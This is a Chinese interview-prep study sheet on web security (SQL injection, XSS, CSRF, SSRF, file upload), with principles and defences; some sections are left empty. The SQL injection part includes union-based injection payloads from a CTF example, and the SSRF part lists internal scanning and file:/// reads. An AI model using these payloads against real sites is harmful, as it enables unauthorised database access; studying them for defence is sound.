【个人用 | 更新中】信息安全面试资料整理
安全知识部分
OWASP TOP 10
SQL 注入
原理
Web 应用程序对用户输入数据的合法性没有判断,攻击者可以在 Web 应用程序中事先定义好的查询语句的结尾上添加额外的 SQL 语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
利用
这里以一道 SQL 注入的 CTF 题目为例。
判断回显字段个数:
1' order by 4#
确定回显位置:
-1' union select 1, 2, 3, 4#
获取表名:
-1' union select 1, group_concat(table_name), 3, 4 from information_schema.tables where table_schema=database()#
查询表中字段名:
-1' union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name='fl4g'#
查询字段内容:
-1' union select 1, skctf_flag, 3, 4 from fl4g#
绕过姿势
防范
- 在服务端正式处理之前,对提交数据的合法性进行检查
- 封装客户端提交信息
- 替换或删除敏感字符和字符串
- 屏蔽出错信息
XSS 跨站脚本攻击
原理
恶意攻击者往 Web 页面里插入恶意 JavaScript 代码,当用户浏览该页之时,嵌入其中 Web 里面的 JavaScript 代码会被执行,从而达到恶意攻击用户的目的
分类
防范
- 特殊字符进行HTML实体转码,如
''
、""
、<>
、\
、:
、#
、&
等; - 设置标签事件属性的黑白名单,过滤输入的特殊字符;
- 在服务器端设置 Cookie 的时候设置 HTTP-ONLY,防止用户通过 JS 获取 Cookie;
- 将不可信数据作为 URL 参数值时需要对参数进行 URL 编码。
CSRF 跨站请求伪造
原理
防范
- 尽量使用 POST,少用 GET;
- 将 Cookie 设置为 HTTP-ONLY;
- 在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务端进行 token 校验;
- 验证
HTTP Referer
字段。
SSRF 服务器端跨站请求伪造
原理
攻击者想要访问主机 B 上的服务,但是由于存在防火墙或者主机B是属于内网主机等原因导致攻击者无法直接访问主机 B。而服务器 A 存在 SSRF 漏洞,这时攻击者可以借助服务器 A 来发起 SSRF 攻击,通过服务器 A 向主机 B 发起请求,从而获取主机 B 的一些信息。
利用
- 内外网的端口和服务扫描;
- 攻击运行在内网或本地的应用程序;
- 对内网 Web 应用进行指纹识别,识别企业内部的资产信息;
- 攻击内网的 Web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2 漏洞利用,SQL 注入等);
- 利用
file:///
协议读取本地敏感数据文件等。
防范
- 过滤返回的信息,如果 Web 应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准;
- 统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态;
- 限制请求的端口;
- 禁止不常用的协议,仅仅允许 HTTP 和 HTTPS 请求。可以防止类似于
file:///
、gopher://
、ftp://
等引起的问题; - 使用 DNS 缓存或者 HOST 白名单的方式。
文件上传
原理
服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件,从而获取执行服务端命令的能力。
绕过姿势
防范
- 文件上传的目录设置为不可执行;
- 在判断文件类型时,可以结合使用 MIME Type、后缀检查等方式;
- 使用白名单;
- 使用随机数改写文件名和文件路径;
- 单独设置文件服务器的域名;
- 使用安全设备防御;
- 限制上传文件的大小。